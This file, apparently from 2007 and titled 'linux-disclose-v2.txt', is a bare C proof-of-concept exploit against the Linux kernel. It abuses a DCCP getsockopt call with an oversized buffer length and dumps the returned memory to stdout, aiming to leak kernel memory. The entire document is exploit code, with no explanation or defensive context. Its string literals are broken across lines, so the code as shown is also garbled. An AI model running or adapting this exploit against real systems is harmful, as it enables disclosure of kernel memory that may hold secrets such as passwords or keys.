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linux-disclose-v2.txt

Posted on 29 March 2007

#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem == (void*)-1) {
printf("Alloc failed
");
return -1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!
");
return 1;
}
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int len = BUFSIZE;
int x = getsockopt(s, 269, 11, mem, &len);

if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS
");

write(1, mem, BUFSIZE);

return 0;
}

 

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